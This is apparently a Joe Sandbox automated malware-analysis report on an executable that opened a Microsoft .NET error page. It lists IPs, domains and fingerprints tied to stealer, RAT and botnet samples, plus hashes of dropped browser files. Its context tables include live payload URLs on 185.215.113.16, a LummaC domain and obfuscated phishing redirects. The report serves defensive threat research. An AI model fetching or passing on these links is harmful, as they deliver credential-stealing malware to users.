URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.44	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC	Browse
104.21.64.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	adsfirm.com/administrator/index.php
104.21.64.1	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.bser101pp.buzz/v89f/
185.215.113.16	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0016.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	13.107.246.44
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
s-part-0017.t-0009.t-msedge.net	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	13.107.246.45
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	xyxmml.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	valyzt.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	Purchase-Order.exe	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	FGNEBI.exe	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
fancywaxxers.shop	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	13.107.42.14
	kwari.arm.elf	Get hash	malicious	Unknown	Browse	20.170.140.15
	kwari.mips.elf	Get hash	malicious	Unknown	Browse	20.239.229.213
	kwari.arm7.elf	Get hash	malicious	Mirai	Browse	52.241.5.244
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	botx.x86.elf	Get hash	malicious	Mirai	Browse	20.153.214.5
	botx.m68k.elf	Get hash	malicious	Mirai	Browse	20.192.254.94
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	40.92.180.169
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	13.98.200.139
CLOUDFLARENETUS	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	heteronymous.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.136.42
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	zku4YyCG6L.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	hca5qDUYZH.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	DIS_37745672.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
WHOLESALECONNECTIONSNL	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	PO#5_tower_Dec162024.cmd	Get hash	malicious	DBatLoader	Browse	104.21.64.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.64.1
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.64.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Set-up.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	104.21.64.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	X-mas_2.3.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	ReploidReplic.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.21.64.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:48:53 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9802475900023335
Encrypted:	false
SSDEEP:	48:8adDTrz2HOidAKZdA19ehwiZUklqehry+3:8O7jky
MD5:	63F1C160499182D206C09E6A28CEF2DA
SHA1:	CE5154CBE97F756B5939CD2C8700FCC5A3AE986E
SHA-256:	227D069E929DB14BFB0B0C8F7ED12E664E4D579CE926C791E61BD1339F4A84F0
SHA-512:	3EEF23CCA245FF07FBD2C5E99AE51F10975C8680EBD8E70ADE60E4B5DAA561EB8AAE6B0CF73EC9BB16ED01D783383AA2A0B9F02C683D22875E677D8FC924C882
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....]..`[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.F....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.F....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.F....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.F..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.F...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:48:53 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.993051753555274
Encrypted:	false
SSDEEP:	48:8X5dDTrz2HOidAKZdA1weh/iZUkAQkqehUy+2:8f7R9Qpy
MD5:	C5EC0694FB91A3E9A309BC1CA72A566F
SHA1:	19DE3EA42E446D480A49A544D33B6F147E954187
SHA-256:	E8AF827AAE1E7503AF88D62992C5BA5467D11869EC80C71CCD1C18FEA2C01FCD
SHA-512:	D8240A4C7AD960DF624D343B6C3F3D35E9D92C8A7BD762D42C2C06C3DECCEAA0354A6C54EB02E93BE8453D0E4C068F2ED2F28F057FDEE849B6ADD528E45EC570
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....?f..`[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.F....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.F....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.F....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.F..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.F...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.004748326015431
Encrypted:	false
SSDEEP:	48:8xUdDTrzsHOidAKZdA14tseh7sFiZUkmgqeh7siy+BX:8xc7vnoy
MD5:	B9B6372E5CF06773CC1FFB8354F2CB3C
SHA1:	B4AB9BC6EF3AB730A3BD3A8570FD4A8362BBB159
SHA-256:	3A6A1A214DF1DE083D91960F6A482C75E68ED34584A13D99FC1B5E5C727A92B3
SHA-512:	A176AE4C0E4DC4C40106C3311264AEDC6D1E05281CBFAF0A471BAC31E483ED5C1F58007BA355957F60DF68B15910ECE7462B081E266C426DFBE74A272D0F50BE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.F....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.F....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.F....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.F..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:48:53 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9896972562901993
Encrypted:	false
SSDEEP:	48:8mdDTrz2HOidAKZdA1vehDiZUkwqehgy+R:8a7Say
MD5:	340BB7EC8E4562B5370366846C2E2D34
SHA1:	935F3582F458F8C4C9E7EE0CB94CB82B07B9BB87
SHA-256:	37DEE597653E59DA962BB0E546179324E1301F59121AB2A89D085A3BC5873D3A
SHA-512:	338D1963E29694658A22C048F4AC200C49E1B148DEFB8B23A75FB1855764C504B88A92D2931522446A533CBDC809C8623DF10EB086F619CB45AED6CFE6F0312C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...._...`[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.F....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.F....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.F....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.F..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.F...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:48:53 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9816821164436944
Encrypted:	false
SSDEEP:	48:8ydDTrz2HOidAKZdA1hehBiZUk1W1qehmy+C:8G7i9Gy
MD5:	854E4C769D95F0F060B03CD4C1385079
SHA1:	A1FD7BD5FA24E4013731DF1691DF4466A5B6D4E9
SHA-256:	112CE2920B7739A2F85854EC3BEDF0F1AE91FE112D28C7A57156F5F8E3DCA582
SHA-512:	939E8EC4922A10E51E4E7FF84E54A9079CAE1F8F1086B363A8054AD8D4DC45B86E42E68322EFF23B505CFA1BDFB5351B216122B125AFEEBC327805AFF8EE8A88
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y..`[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.F....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.F....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.F....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.F..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.F...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:48:53 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9926115806199265
Encrypted:	false
SSDEEP:	48:8rdDTrz2HOidAKZdA1duT+ehOuTbbiZUk5OjqehOuTboy+yT+:817cT/TbxWOvTboy7T
MD5:	FA5883149FCFF9E66B80C60EBB07F696
SHA1:	997D145B6234668B1656F810103000B965F174AA
SHA-256:	82ABA91329ED62951E9775FD3594877A22F991F59D1B04F65C3E1E1891BC9656
SHA-512:	FECF0297AE4660BDA2A4BB95E713D7077702B1F9B58F13F76256D2B12A861B5CC3C4D249ED9E08F8A05193030885DA21D8F8F584A11BBF0C3879D3F532B4191A
Malicious:	false
Preview:	L..................F.@.. ...$+.,........`[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.F....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.F....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.F....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.F..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.F...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i........... .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
